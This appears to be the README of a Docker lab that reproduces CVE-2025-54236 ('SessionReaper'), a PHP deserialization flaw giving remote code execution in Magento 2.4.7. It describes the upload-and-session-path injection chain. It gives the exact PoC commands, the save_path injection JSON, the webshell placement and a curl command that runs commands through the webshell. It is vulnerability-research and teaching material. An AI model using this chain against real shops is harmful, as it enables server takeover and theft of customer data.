CVE-2025-54236 - SessionReaper Lab

Docker environment for practical demonstration of CVE-2025-54236 (SessionReaper): PHP Object Deserialization leading to RCE in Magento Open Source 2.4.7.

Exclusive use in controlled environment. Do not run against systems without explicit authorization.

About the vulnerability

CVE-2025-54236 affects Magento Open Source and Adobe Commerce up to version 2.4.7. The ServiceInputProcessor::getConstructorData() method accepts nested parameters via JSON that allow overwriting session.save_path - the folder where PHP stores session files.

Exploitation chain:

A serialized PHP file (gadget chain Guzzle/FW1 via phpggc) is sent via /customer/address_file/upload, which saves it to pub/media/customer_address/s/e/sess_<id>.
A REST API request injects {"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} as a constructor parameter.
PHP calls session_start() with the fabricated PHPSESSID, deserializes the gadget chain, and writes a webshell to pub/errors/.

Prerequisite: PHP sessions configured as file-based (not Redis/Memcached).

CVSS: 9.1 (Critical)
Affected versions: Magento Open Source / Adobe Commerce ≤ 2.4.7

Repository structure

magento/
├── lab-magento/              # Docker lab (Magento 2.4.7 vulnerable)
│   ├── Dockerfile            # PHP 8.2-FPM with Magento extensions
│   ├── docker-compose.yml    # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│   ├── .env                  # Environment settings
│   ├── conf/
│   │   ├── nginx/            # Nginx VirtualHost
│   │   └── php/magento.ini   # File-based sessions, memory_limit=2G
│   └── scripts/
│       ├── 01-install.sh     # Full installation from scratch
│       └── 02-demo-setup.sh  # Prepare product, payload, and print instructions
├── SessionReaper-CVE-2025-54236/
│   └── session_reaper.py     # Main PoC (author: alexb616)
└── payloads/
    ├── shell.php             # Webshell with single quotes (avoids JSON escape)
    └── sess_payload.bin      # Serialized gadget chain (generated by script)

Requirements

Docker Engine 24+
Docker Compose v2 (docker compose)
PHP CLI (for phpggc) or Docker with ambionics/phpggc image available
phpggc - https://github.com/ambionics/phpggc
- The session_reaper.py searches for the binary in: system PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc and, as a fallback, pulls the Docker image ambionics/phpggc automatically
Python 3.8+ with requests (pip install requests)
WSL2 / Linux (on WSL2, may be necessary: sudo sysctl -w vm.max_map_count=262144 for Elasticsearch)

Installation

cd lab-magento

# 1. Install Magento 2.4.7 from scratch (~25 minutes)
bash scripts/install.sh

The install.sh does:

Build custom PHP image
Starts the 5 containers (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
Clones Magento 2.4.7 via Git (no Marketplace account)
Runs composer install --no-dev
Runs setup:install with file-based sessions
Sets mode to default (not developer - prevents PHP 8.2 warnings from becoming exceptions)
Disables 2FA for easier admin access
Runs setup:static-content:deploy
Fixes www-data permissions at all stages

Running the exploit

After installation, from the root directory (/magento/):

python3 SessionReaper-CVE-2025-54236/session_reaper.py \
    --host http://localhost:8080 \
    --method order \
    --payload-in lab-magento/payloads/shell.php \
    --payload-out /var/www/html/pub/errors/cve_lab.php \
    --save-path /var/www/html/pub/media/customer_address/s/e/ \
    --no-proxy

Verify RCE:

curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Alternative method (address vector, with real product):

python3 SessionReaper-CVE-2025-54236/session_reaper.py \
    --host http://localhost:8080 \
    --method address \
    --sku DEMO-001 \
    --payload-in lab-magento/payloads/shell.php \
    --payload-out /var/www/html/pub/errors/cve_lab.php \
    --save-path /var/www/html/pub/media/customer_address/s/e/ \
    --no-proxy

Lab Credentials

Service	URL / Host	Credential
Magento Store	http://localhost:8080/	-
Magento Admin	http://localhost:8080/admin/	admin / Admin123!
MySQL	localhost:3306	magento / magento
Elasticsearch	localhost:9200	-

The admin URI is randomly generated during installation. To find it:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"

Monitoring

# Sessions created by the exploit
docker exec lab_magento_php ls -la /var/www/html/var/session/

# Malicious session file in media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f

# Real-time logs
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f

Cleanup

# Remove webshell
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php

# Stop containers
docker compose -f lab-magento/docker-compose.yml down

# Destroy everything (containers + volumes)
docker compose -f lab-magento/docker-compose.yml down -v

Technical Details

Why single quotes in the webshell? The phpggc Guzzle/FW1 serializes the payload as JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. The PHP content is JSON-encoded, so " becomes \". Using $_GET["cmd"] would result in $_GET[\"cmd\"] - PHP parse error. The solution is to write the webshell with single quotes: $_GET['cmd'].

Why default mode and not developer? Magento in developer mode converts all PHP warnings into exceptions. PHP 8.2 emits Warning: Trying to access array offset on null in lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, which becomes a 500 exception in the admin. In default mode the warning is ignored.

Why are the files in s/e/? Magento organizes address uploads in pub/media/customer_address/{1st char}/{2nd char}/filename. For sess_* files, the first character is s and the second is e, always resulting in pub/media/customer_address/s/e/.

session_reaper_lab

Most Popular